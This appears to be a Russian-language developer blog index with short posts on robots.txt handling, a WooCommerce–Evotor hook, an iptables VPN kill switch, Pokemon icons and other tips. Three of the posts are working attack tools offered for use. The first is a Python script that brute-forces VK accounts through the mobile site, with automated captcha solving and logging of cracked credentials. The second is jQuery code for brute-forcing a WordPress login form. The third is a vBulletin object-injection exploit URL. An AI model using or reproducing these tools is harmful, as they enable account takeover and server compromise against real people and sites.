Разные robots.txt для HTTP и HTTPS версий сайта

В .htaccess добавляем

1
RewriteRule ^robots.txt$ robots.php [QSA]

В robots.php пишем следующее:

1
2
3
4
5
6
7
8
9
10
<?php
header('HTTP/1.1 200 OK');
header('Content-Type: text/plain');
if(isset($_SERVER['HTTPS'])){
    echo file_get_contents('robots_ssl.txt', true);
}
else{
    echo file_get_contents('robots.txt', true);
}
?>

Подключение сайта к Эвотор через API


Всем желающим подключить кассу Эвотор к своему сайту — милости прошу на сайт разработки проектов, плагинов и сниппетов.
Кусочек кода по интеграции кассы с сайта на основе WordPress и Woocommerce:

1
2
3
4
5
6
7
8
9
10
11
<?php
add_action( 'woocommerce_order_status_completed', 'evotor_payment_complete' );
function evotor_payment_complete( $order_id ){
   $order = wc_get_order( $order_id );

    if( $order ){
        require_once __DIR__.'/evotor/sender.php';
        addGoods($order);
    }
}
?>

Скрипт для простого перебора вк через мобильную версию

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
import sys,os

cap_key = '' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print "Завершение"
    except:
        anti(key,file)
def save(url, file): #Скачивание файла по урл
    f = urllib2.urlopen(url)
    f2 = open(file, 'wb')
    f2.write(f.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login,passwords,save):
    o = open(save,'a')
    o2 = open(passwords,'r')

    try:
        int(login)
        prefix = True
    except:
        prefix = False
    g = grab.Grab()
    g.go('http://m.vk.com')

    for i in o2:

        i2 = i.rstrip('\r\n')
        g.doc.set_input('email',login)
        g.doc.set_input('pass',i2)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            c2 = 'http://m.vk.com' + c1
            key = cap_solve(c2)
            g.doc.set_input('email',login)
            g.doc.set_input('pass',i2)
            g.doc.set_input('captcha_key',str(key))
            g.doc.submit()
            print "cap"

        if 'Подтвердить' in g.response.body:
            if prefix:
                prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
                prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
                pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                pre2 = re.findall('[0-9]{1,}', prefix2)[0]

                login = login.replace(pre1,'')
                login = login.replace(pre2,'')

                g.set_input('code', login)
                g.submit()
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
            else:
                o.write(login + ':' + i2 + '\n')
        else:
            if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
                print login + ':' + i2 + '--fail'
            else:
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
    o.close()
    o2.close()

def main():
    try:
        argv1 = sys.argv[1]
        argv2 = sys.argv[2]
        brute(argv1,argv2,"log.txt")
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"


if __name__ == "__main__":
    main()

Соединение только через VPN [Linux]

Дропаем прямые соединения если VPN упал (соединение только через VPN):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# запрещаем все входящие и исходящие
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# разрешаем уже установленные соединения и локалхост
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# разрешаем соединения до VPN (VPN_IP заменить на ip вашего VPN сервера)
iptables -A OUTPUT -d VPN_IP -j ACCEPT

# разрешаем любые соединения через VPN
iptables -A OUTPUT -i tun+ -j ACCEPT

WordPress Login form brute force in jQuery

1) Add jQuery:

1
2
3
4
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

2) Create textarea field and paste your passwords list:

1
$('body').prepend('<textarea id="pwds"></textarea>')

3) other part of code just paste and run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var passwords = $('#pwds').val().split(/\r?\n/);

$('#loginform').submit(function(){
    var data = $(this).serialize();
    var pwd = $('#user_pass').val();
    $.post('/wp-login.php', data, function(datas){
        if(!datas.match(/Incorrect password/)){
            console.log('Correct password: '+pwd);
        }
    })
    return false;
});

$.each(passwords, function(k, v){
    $('#user_pass').val(v);
    $('#loginform').submit();
});

Enjoy and be ready to be banned by hoster 😉

Иконки всех покемонов

На «пике» Pokemon Go кто-то захочет украсить свой сайт/документацию иконками этих самих покемонов.
На просторах уже было найдено решение:
1) Скачиваем архив

2) подключаем скрипты в наш проект

1
2
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="../poke-icon.html"/>

3) «вызвать» покемона можно либо по номеру, либо по имени

1
2
<poke -icon nr="24"></poke>
<poke -icon name="PIKACHU"></poke>

Continue reading «Иконки всех покемонов»

Portfolio PRO русский язык

DevTech Porfolio
DevTech Porfolio

Использую данный плагин для вывода порфолио вот здесь http://devtech.dp.ua/portfolio/. Из-за частых обновлений слетает перевод, если захардкодить его в самом скрипте. Поэтому решил добить отдельные языковые файлы. Ниже прикреплен архив, который следует распаковать в директорию language плагина.

Continue reading «Portfolio PRO русский язык»

Уведомление если ваши данные слили

Хочу порекомендовать отличный сервис. Был на него подписан с момента запуска, но проявил он себя на прошлой неделе, когда пришло уведомление, что мой e-mail и пароль были слиты в паблик.
Хорошо, что дело шло о вэб-хостинге, которым пользовался в 2006 или 2007 году — 000webhost.
Переходим по ссылке https://rbnhd.com/#check и проверяем свое мыло. Немного ниже можно подписаться на уведомления и если ваши данные утекут в паблик вам об этом сообщат.
Всегда (!) используйте разные и рандомные пароли для разных сервисов.
А программистам рекомендую: солите господа, солите. И никакого md5 😉

Эксплоит под vBulletin [decodeArguments]

В паблик запостили сплойт под vBulletin последних версий. Ниже код пруфа, который выводит phpinfo.
PoC:

1
http://localhost/vbforum/ajax/api[/]hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

via: https://blog.sucuri.net/2015/11/vbulletin-exploits-in-the-wild.html

Игорь Ряписов [ 9998494 ] (кидалово)

Собственно выполнял для этого человека задание. Все пункты, кроме одного были готовы и по этому одному был вопрос. На что получил ответ, что посмотрит в течении 3 часов, но прошло 3 дня. Потом я уже сам ему написал, мол чё да как. Получил ответ — надо подождать, т.к. заказчик пропал. Жду… Прошла неделя, пишу, чтоб решать уже вопрос с оплатой, потому что ждать можно не понятно сколько. Попросил еще подождать. Continue reading «Игорь Ряписов [ 9998494 ] (кидалово)»

Учет времени при разработке [WakaTime]

При разработке, особенно когда вы фрилансер — управление и учет затраченного времени очень важен. Важен для новичков, т.к. поможет в дальнейшем проще проводить оценку проектов с точки зрения времени и соответственно и денежного вознаграждения.
Речь пойдет о плагине под названием WakaTime, который можно внедрить практически в любой, популярный, текстовый редактор и IDE. Нас скрине показаны уже имеющие поддержку и те, которые в ближайших планах на реализацию (выделены серым).
Continue reading «Учет времени при разработке [WakaTime]»